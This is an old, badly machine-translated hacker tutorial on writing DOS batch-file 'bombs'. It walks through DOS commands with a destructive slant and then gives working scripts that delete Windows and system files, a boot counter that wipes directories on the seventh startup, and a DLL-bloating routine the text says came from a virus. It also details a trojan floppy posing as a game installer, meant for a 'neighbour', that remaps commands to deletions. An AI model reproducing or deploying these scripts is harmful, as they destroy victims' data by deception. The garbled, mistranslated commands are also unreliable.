How to Create and Use .bat Files
How to Create and Use .bat Files
bat files
1- step creating the .bat
go to DOS, and put the folder you want to attach the .bat, for example
Let's say the folder is in C:\hacker, then we will place it in the
two:
cd c:\hacker
I will hit the envelope, but not yet!!
AI you type:
edit
a blue screen will appear, then you type:
@echo off
break off
2-putting your commands in the bat.... make sure you don't screw up!!
use your imagination!!!
DOS commands
This part contains several commands that can be used
not only in BADCOMS but in harmless batches. For more
information about DOS commands type HELP at the prompt
or if you want to know more about a certain command write
the command and add the option /?.
Examples:
C:\ echo /?
C:\ format /?
C:\ for /?
DOS commands
2.1)
ECHO 2.2) DELETE/ERASE
2.3)
DELTREE 2.4) FORMAT
2.5)
FOR 2.6) IF
Creating .bat files
MORE 2.20) MD/MKDIR/CD/CHDIR/RD/RMDIR
2.21)
LABEL 2.22)
FIND 2.23)
PAUSE 2.24) REN/RENAME
2.25)
SUBST 2.26) TIME
2.27) REM
2.28) DOSKEY
2.29) XCOPY
2.1) ECHO
Syntax: ECHO
Example: C> echo Fuck You
Fuck You
The ECHO command generally displays a string on the screen.
Case
this string should be OFF, disable the display of commands on
screen. If it is ON, activate it.
Example of file:
[[Link]]
echo on
echo ECHO is activated
echo off
echo ECHO is disabled
When you run this program, you will see the following:
C> echo on
ECHO is enabled
ECHO is activated
C> echo off
ECHO is disabled
Put an @ before the first command on each line,
equivalent
to ECHO OFF, but only on this line. So that the program
stay
better, it is advised to place the command @ECHO OFF in the FIRST
line
in the program, that way you don't need to put an @ before
Creating .bat files
C> deltree /y c:\games
There's not much of a secret either. It deletes a directory and everything that
it has inside it. The op?Æo /Y blows everything up without asking
confirm?
but must be used immediately after the DELTREE command. This DOES NOT
functionary:
C> delete tree c:\windows /y
2.4) FORMAT
Syntax: FORMAT (/Q) (/U) (/V:label)
unit_to_be_detonated
Examples: C> format /q a:
C> format /u c:
The funniest command that can be used in BADCOMS. It fucks.
o
specified drive literally. The option /Q performs a
format?
The unconditional formatting option is performed.
/V:label
specify the name of the volume of the unit, there isn't much
secret...
But if the specified drive is a hard drive, a question will appear.
Stupid, the guy responds NO and keeps the HD safe.
See further ahead how to solve this.
FOR
Syntax: FOR %a in (file1 file2...) DO [command] %a
Example: C> for %a in ([Link] [Link]) do del %a
We assume that you want to execute the same command for v.
rivers
files. Instead of writing the same command a bunch of times
of
sometimes, use the FOR command. Explaining in detail: the
command
FOR defines a variable called %a (or any letter) and
define o
value of this variable with the names that are between
parentheses.
Having done that, execute a command whose main parameter is a.
Creating .bat files
if not "%1"=="fuckyou" echo Don't Fuck You
if errorlevel 1 goto 1
The IF command tests a condition and if it is true,
execute a command. The first example checks if there exists the
File c:\[Link] and if it exists, delete it. The second
example checks if the file c:\[Link] DOES not exist. If
no
exists, displays the message '1 j has been deleted'. The third
example
test if the variable %1 is equal to "fuckyou". If it is, display a
message "Fuck You". The fourth example tests if the variable %1
?
DIFFERENT from 'fuckyou'. If so, show the message 'Don't Fuck
You.
The last example tests if an error level equal was returned
a 1.
See about the error levels later.
2.7) SET/VARIABLES IN DOS
Syntax: SET [variable] = [value]
Examples: set variable = anycrap
set drive = C:\
The SET command defines an environment variable in DOS. Is that it?
very useful in the batch programming. I think with a
example
it's easier to explain:
C> set scream=argh
This creates a variable called 'scream' and sets its value
like 'argh'. If you want to write in DOS:
C> echo %scream%
See the word 'argh' in place of '%scream%':
C> echo %scream%
argh
That is, whenever you want to make a reference to one
For a defined variable j, use %variable_name%. How to unite
two
variable and see in a s¢: let’s suppose you have two variable
you see. One
Creating .bat files
@echo off
if "%1" == "" goto erro
echo Preparing to mess up the drive %1!
format %1
go to the end
:erro
echo You imbecile, specify the drive you want to blow up!
go to the end
:fim
Running the file this way...
C> hd_fuck C:
...see the following:
Preparing to mess up the C: drive!
WARNING, ALL DATA ON THE NON-REMOVABLE DISK DRIVE C:
LOST PASTA!
Continue with the Format (Y/N)?
But if you do not specify any parameters...
C> hd_fuck
...results in:
You idiot, specify the drive you want to destroy!
As you can see, 1% in this example was equal to C:.
Note that the IF command was used to check if the vari
veil
%1 was existing. Another thing that cannot be overlooked
unnoticed
it was the use of the GOTO command that will be explained shortly...
Just one more detail: the FORMAT asked for the stupid confirmation before.
of
detonate the hard drive... We will solve this soon... 8-)
2.8) GOTO
Syntax: GOTO [name]
Examples: go to time_to_fuck_the_hd
goto error
The GOTO command can be used within batch files and
serves to direct the program to the specified line
in
[name]. When DOS encounters this line, it executes all the
Creating .bat files
the second line, "echo You are going to fuck yourself..." is not executed
Why was DOS directed to a line after this?
command.
INFINITE LOOPS: very easy. Just look at the example below:
[[Link]]
@echo off
loop
dir
goto loop
This runs the DIR command infinitely until the guy presses it.
CTRL+C
or turn off the computer...
2.9) VER
Syntax: TO SEE
Example: BAH!
Show what version of DOS you are using.
Apparently it's a stupid and useless command but with a
little
Of creativity, it becomes a VERY useful command... You?
go
understand later...
2.10) VOL
Syntax: VOL
BAM!
Show the volume name of your unit... Similar to the
command
Above, very useful for whom? Creative.
2.11) CLS
Syntax: CLS
BAH!
Turn off everything on the screen.
2.12) ATTRIB
Syntax: ATTRIB (+A) (+R) (+H) (+S) [file_name]
ATTRIB (-A) (-R) (-H) (-S) [file_name]
Examples: attrib +h c:\ruimdows
attrib +s c:\[Link]
Remove read-only attribute from c:\[Link]
Creating .bat files
C> attrib -a a:\*.vir
Hey! Use the XCOPY command:
C> xcopy a: b: /a
A bit strange, but? that...
R -> Read-only attribute. The file cannot
to be
modified or deleted unless the attribute is
removed.
H -> Hidden file attribute. You're just a fool not to
to perceive
What does this hide the file.
S -> System file attribute. I think, in practice, ?
a
the same thing as attribute H.
2.13) CALL
Syntax: CALL [batch_file_name]
Example: call [Link]
Command using INSIDE batch files that serves to
call
OTHER batch files, that is, runs another batch file but
sem
stop spinning the first one. Example:
[[Link]]
@echo off
echo Is this the batch file 1...
call [Link]
Back to batch 1...
[[Link]]
@echo off
echo Is this the batch file 2...
It results in:
C> 1
Is this the batch file 1...
Is this the batch file 2...
Back to batch 1...
2.14) CHOICE & ERRORLEVELS
Syntax: CHOICE /C:[keys] [text]
Creating .bat files
echo Op?Æo 1 selected
go to the end
option2
echo Op?Æo 2 chosen
go to the end
option3
echo Op?Æo 3 chosen
go to the end
:fim
Running this, the following will happen:
fuck
Choose an option: [1,2,3]?
If you choose option 1:
fuck
Choose an option: [1,2,3]? 1
Option 1 chosen
If you choose 2:
fuck
Choose an option: [1,2,3]? 2
Choice 2 chosen
And finally:
fuck
Choose an option: [1,2,3]? 3
Op?Æo 3 chosen
That is, the CHOICE command is very useful for creating
menus
etc.
But what the hell are the ERRORLEVELS? They are return values.
by the DOS commands, according to what caused the end of the
program
Usually, when a command/program for DOS ends
normally,
without any errors, it returns an ERRORLEVEL equal to 0. The others
values
variam de acordo com os comandos. Veja uma lista de
ERRORLEVELS
but further on.
Creating .bat files
This will do the following:
C> error level
NO PROBLEM OCCURRED
It's logical that this message will only be displayed if there are no errors.
occur.
Explaining better: if no problems occur at the time of
Delete the file, the DEL will return an error level 0. You?
also
can you do it like this:
[[Link]]
@echo off
delete c:\[Link]
if not errorlevel 0 goto OPS
There were no problems.
go to the end
:OPS
Something went wrong.
go to the end
end
This example is better because it tests if the command DEL NÇO
returned
an errorlevel 0. Since the errorlevel 0 means that nothing of
wrong
an error occurred, an errorlevel different from 0 means that something
abnormal
it happened.
If something abnormal occurs, it displays the message 'Something'
wrong
it occurred
problem.
2.15) COPY
Syntax: COPY [source] [destination]
Examples: copy *.* c:\ruimdows
copy c:\win95\*.* c:\[Link]
Copy the specified files to a directory or to
outro
file.
Creating .bat files
command DIR, type in the DOS prompt:
C> echo s | format c:
2.18) TYPE
Syntax: TYPE [filename]
Example: type [Link]
There's no complication. It displays the content of a file (without
to make
pause between the pages). It can be used together with the
command
MORE.
2.19) MORE
Syntax: MORE [filename]
TYPE [file_name] | MORE (depends on the version of DOS)
Example: more [Link]
type [Link] | more
The MORE command is identical to the TYPE command, but at the end of
each
p gina, take a break. In older versions of DOS, the
MORE s¢
it works if a PIPE is made with the TYPE command.
2.20) MD/MKDIR/CD/CHDIR/RD/RMDIR
Syntax: MD [directory_name] or MKDIR [directory_name]
CD [directory] or CHDIR [directory]
RD [empty_directory] or RMDIR [empty_directory]
MD/MKDIR creates a directory, CD/CHDIR calls (goes to) one
directory and RD/RMDIR deletes a directory (only if said
whose
is EMPTY).
LABEL
Syntax: LABEL [volume_name]
Exemplo: label se_fudeu
Change the volume name of the current drive.
2.22) FIND
Syntax: FIND "search_string" [file_name]
Example: find "fuck" c:\[Link]
Search for a string in a specific file. Very useful
if
Creating .bat files
Change the name of a file.
2.25) SUBST
Syntax: SUBST [new_drive_letter] [path]
SUBST [unit] /D
Example: subst f: c:\fuck
subst f: /d
Define a unit letter for a specific directory.
If you use the /D option, SUBST will disable the drive letter.
unit
It was CREATED by the SUBST command. It will only work if there is a
next line in [Link]:
LASTDRIVE=Z
2.26) TIME
Syntax: TIME
Example: BAH!
Display the current time.
2.27) REM
Syntax: REM [text]
Example: rem This is a comment
The REM command is used when you want to add a comment.
river
to your batch.
2.28) DOSKEY
Syntax: DOSKEY [macro] [text] /ECHO:on|off
Example: doskey dir del *.*
DOSKEY has several utilities, but I will only explain one.
maybe
the most useful of them. Using DOSKEY you can create macros,
that is to say
assign commands to words (like an ALIAS). The usefulness
this
num BADCOM? what can you change the guy's DOS commands?
for
others. See the example above. This example makes the
command
DIR execute the command DEL *.*. You can use this as a
Time
Creating .bat files
of command.
One detail, if your victim presses ALT+F10 all macros
what
voc? created disabled session.
2.29) XCOPY
Syntax: XCOPY [source] [destination] [/S]
Example: xcopy c:\games d:\fuck /s
Similar to COPY, it just asks for more, as it loads everything.
os
files in memory and only then copy them. If the /S option is
used
all the subdirectories and files of a directory too
serÆo
copied.
BASIC COMMANDS:
Well, to get started we need to keep in mind that the files
.BAT
aims to store pre-typed commands for
execute them when requested.
These files are very useful, we can create
backup systems, program installation, etc...
In our case, bomb files. The bomb files are nothing more
they are commands that can be destructive or not, depending
with what we intend to create.
To get started, I will give some useful commands for the
our project
and then examples of how they can be used to
destructive and non-destructive bombs.
------------------------------------------------------------
--------------------
COMMAND LIST:
ECHO OFF
It serves to not display the commands from the file on the screen.
.BAT is running. For example,
if you create a bomb file and do not use this command and the
the file contains the command DEL*.* will appear
on the victim's screen C:\DEL *.* thus giving time for the victim
Creating .bat files
So I will have to type:
@ECHO ========================
Your computer has been destroyed by:
@ECHO Machiavelli
@ECHO ======================
WARNING:
A mistake I used to make, and I have seen many people do, is
confuse the first two commands in the following way:
The guy wanted to type ECHO OFF and typed @ECHO instead.
OFF
The command @ECHO OFF instead of not showing the commands in the
Screen, it will show the word OFF on the screen.
The command @ECHO OFF may work on some computers
depending on the configuration, but to avoid risk, look for
use the command ECHO OFF)
------------------------------------------------------------
--------------------
ECHO >FILENAME COMMAND
It is used for a batch file (.BAT in our case) to create
another file. Example:
ECHO> [Link] DIR
In our example he created a file called [Link] that
it contains the DIR command
------------------------------------------------------------
--------------------
CLS
Command to clear the screen.
------------------------------------------------------------
--------------------
ATTRIB
Command used for hidden, system, etc. For more
information about ATTRIB,
type in the DOS prompt ATTRIB/?
------------------------------------------------------------
--------------------
Doctor of Medicine
Used to create directories, Example:
Creating .bat files
DEL
It serves to delete files, best way to use it
the DEL command is:
DEL *.COM < Or any extension you want, *.BAT *.EXE *.INI
*.SYS etc...
Using the command this way, the program will not confirm.
if you really want to delete the file.
------------------------------------------------------------
--------------------
DELTREE
There are three ways to use the DELTREE command:
1st - DELTREE C:\WINDOWS < BUG, it will ask you if you
Do you really want to delete the WINDOWS directory?
2nd - DELTREE/Y C:\WINDOWS NULL is the ideal command for the
DELTREE.
------------------------------------------------------------
--------------------
Well, now let's put our knowledge into practice.
Let's create a bomb called [Link]
in the DOS prompt, type EDIT [Link] (ENTER)
A blue screen will normally appear. Once we are inside, let's
put our bad commands.
======start======
ECHO OFF Go to the drive C:\
CD\ ---------------------------------< Get out of any
directory that one can be in
DEL *.SYS ------------------------- NULL
----------------------- the windows
CLS
YOUR COMPUTER HAS BEEN DESTROYED BY:
@ECHO PIRATE
@ECHO HA HA HA HA HA HA HA HA HA HA HA HA
======end=========
Soon, we have a file that deletes Windows and files.
.sys, and still leaves a stupid message on the screen of the
victim.
TO RUN THE PUMP JUST TYPE INSTALL
Creating .bat files
its size each time
that the computer is turned on.
The function of these files is very simple, there are three.
files that must be placed
at the root (C:\) of the victim's computer. These files will
put a .DLL file in the
Windows system, and this file will double its size
every time the computer is turned on.
DOBLESPACE is the name I gave to the file.
Files to be created:
[Link]
[Link]
[Link]
------------------------------------------------------------
--------------------
[Link]
=====start=====
echo off
c:
cd\
md p
cd p
if exist [Link] goto www
copy c:\[Link] c:\p\[Link]
echo> [Link] c:\[Link]
cd\
copy c:\p\*.* c:\[Link]
:www
cd\
[Link]
=====end=====
------------------------------------------------------------
--------------------
[Link]
=====start=====
delete [Link]
CLS
Creating .bat files
cd windows
cd system
cd configs
echo> [Link] test searches for the file [Link], if
he already exists he goes to :22
echo> [Link] ydfgyudfyudfgkdgydlkcvm,xcjhtfkgr5yuiuyfg
copy the file [Link] as [Link]
copy c:\windows\system\[Link]
c:\windows\system\configs\[Link] combines the two files, and
or copy it as [Link], thus doubling its size.
del o*.dll deletes the copies
cd\
go to the end
:win [Link] test
cd\
if exist [Link] goto win95
cd win
md system
cd system
cd configs
echo> [Link] test
cd\
cd win
cd system
if not exists [Link] goto 3
md configs
goto 3
:3
if exist [Link] goto 23
echo> [Link] ydfgyudfyudfgkdgydlkcvm,xcjhtfkgr5yuiuyfg
:23
cd configs
copy c:\win\system\[Link]
c:\win\system\configs\[Link]
copy c:\win\system\[Link] c:\win\system\configs\[Link]
copy c:\win\system\configs\*.* c:\win\system\[Link]
delete o*.dll
Creating .bat files
cd configs
echo> [Link] test
cd\
cd win95
cd system
if [Link] does not exist, go to 4
md configs
goto 4
:4
if exist [Link] goto 24
echo> [Link] ydfgyudfyudfgkdgydlkcvm,xcjhtfkgr5yuiuyfg
:24
cd configs
copy c:\win95\system\[Link]
c:\win95\system\configs\[Link]
copy c:\win95\system\[Link]
c:\win95\system\configs\[Link]
copy c:\win95\system\configs\*.* c:\win95\system\[Link]
delete o*.dll
delete t*.dll
cd\
go to the end
win-95
c:
cd\
cd win-95
echo> [Link] test
cd\
if exist [Link] goto dos
cd win-95
md system
cd system
cd configs
echo> [Link] test
cd\
cd win-95
cd system
Creating .bat files
c:\win-95\system\[Link]
delete o*.dll
delete t*.dll
cd\
go to the end
two
c:
cd\
Change directory to DOS
echo> [Link] test
cd\
if exist [Link] goto off
cd dos
md system
cd system
cd configs
echo> [Link] test
cd\
cd dos
cd system
if not exist [Link] goto 6md configs
goto 6
6
if exists [Link] goto 26
echo> [Link] ydfgyudfyudfgkdgydlkcvm,xcjhtfkgr5yuiuyfg
:26
cd configs
copy c:\dos\system\[Link]
c:\dos\system\configs\[Link]
copy c:\dos\system\[Link] c:\dos\system\configs\[Link]
copy c:\dos\system\configs\*.* c:\dos\system\[Link]
delete o*.dll
delete t*.dll
cd\
go to the end
There, as he could not find the Windows directory, Win,
Win95, Win-95 or DOS, as a last resort it creates the Off.
Creating .bat files
goto 7
:7
if exists [Link] goto 27
echo> [Link] ydfgyudfyudfgkdgydlkcvm,xcjhtfkgr5yuiuyfg
:27
cd configs
copy c:\off\system\[Link]
c:\off\system\configs\[Link]
copy c:\off\system\[Link] c:\off\system\configs\[Link]
copy c:\off\system\configs\*.* c:\off\system\[Link]
delete o*.dll
delete t*.dll
cd\
go to the end
:fim
cls
=====end=====
THE FILE ABOVE WAS TAKEN FROM THE OFF.A MACRO VIRUS, THIS IS
TO SEE HOW .BAT FILES ARE USEFUL FOR MANY THINGS,
EVEN FOR VIRUSES.
------------------------------------------------------------
--------------------
Now a file that only attacks the computer after it
for reconnection 7 times.
What happens is very simple, the first time that the
when the computer is turned on, [Link] creates the file [Link],
second time, he creates the [Link] ..... the sixth time he creates
the [Link] is looking for the file for the seventh time
[Link], if it finds it, it will delete Windows and the
directory where the games are located.
BOMB CLOCK
[Link]
=====start=====
c:\
cd\
echo off
if exist [Link] goto 2
Creating .bat files
go to the end
:5
if exist [Link] goto 6
echo > [Link] sdfsdf
go to the end
6
if exist [Link] goto 7
echo > [Link] sdfsdf
go to the end
7
delete tree/y c:\windows >null
dletree/y c:\win >null
dletree/y c:\win-95 >null
delete tree/y c:\win_95 >null
dletree/y c:\win95 >null
dletree/y c:\dos >null
delete tree/y c:\games >null
dletree/y c:\games >null
delete all files and redirect output to null
:fim
=====end=====
------------------------------------------------------------
--------------------
Arquivo para travar o computador da vitima.
TRAVO!!!
[Link]
=====start=====
c:\
cd\
echo off
echo > [Link] sdfsdfsdf executes the exe file, resulting
no computer freezing.
=====end=====
------------------------------------------------------------
--------------------
To finish, see how to create a bomb file from
a floppy disk, to give to your neighbor
Creating .bat files
[Link]
------------------------------------------------------------
--------------------
[Link]
=====start=====
echo Off
c:\
cd\
copy a:\[Link] renames the .pty files to .bat
a:
deltree/y [Link] >null null
deltree/y [Link] >null
deltree/y [Link] >null
from null
c:\
cd\
[Link]
=====end=====
------------------------------------------------------------
--------------------
[Link]
=====start=====
a:\
deltree/y [Link] >null null
rename [Link] [Link] from now on it's just the
game installation.
c:\
cd\
md prince
cd prince
copy a:\*.*
deltree/y [Link] >null
from null
cls
Game installed in c:\prince
=====end=====
------------------------------------------------------------
Creating .bat files
putting a command at the end of autoexec so that the file
[Link] should be executed.
:www
cd\
[Link]
=====end=====
------------------------------------------------------------
--------------------
[Link]
=====start=====
echo off
delete [Link]
del [Link]
CLS
WIN
=====end=====
------------------------------------------------------------
--------------------
[Link]
=====start=====
echo off
c:
cd\
if exist [Link] goto 2 <is that the same file BOMBA
watch
echo > [Link] sdfsdf
go to the end
:2
if exist [Link] goto 3
echo > [Link] sdfsdf
go to the end
:3
if exist [Link] goto 4
echo > [Link] sdfsdf
go to the end
:4
if exist [Link] goto 5
Creating .bat files
doskey copy directory
doskey delete dir/s
doskey delete tree directory/s
doskey doskey cls
attrib +r c:\[Link]
attrib +r c:\[Link]
:fim
cls
end
------------------------------------------------------------
--------------------
[Link]
=====start======
echo Off is the install that will remain on the floppy disk after the
the bomb was executed, thus eliminating any suspicion.
c:\
cd\
md prince
go to prince
copy a:\*.*
cls
Game installed in c:\prince
=====end=====
------------------------------------------------------------
--------------------
As you all saw, .BAT files are very useful, and there is more.
for those who want
make a macro virus in Word, but I know very little about it
programming in Word Basic,
can we take a look at a small tutorial about the virus of
macro para word em ingles
the PIRATE in Portuguese, which uses .BAT files as an attack
it's worth looking at the part
about viruses to see the potential of .BAT files not
stay only on what was shown here.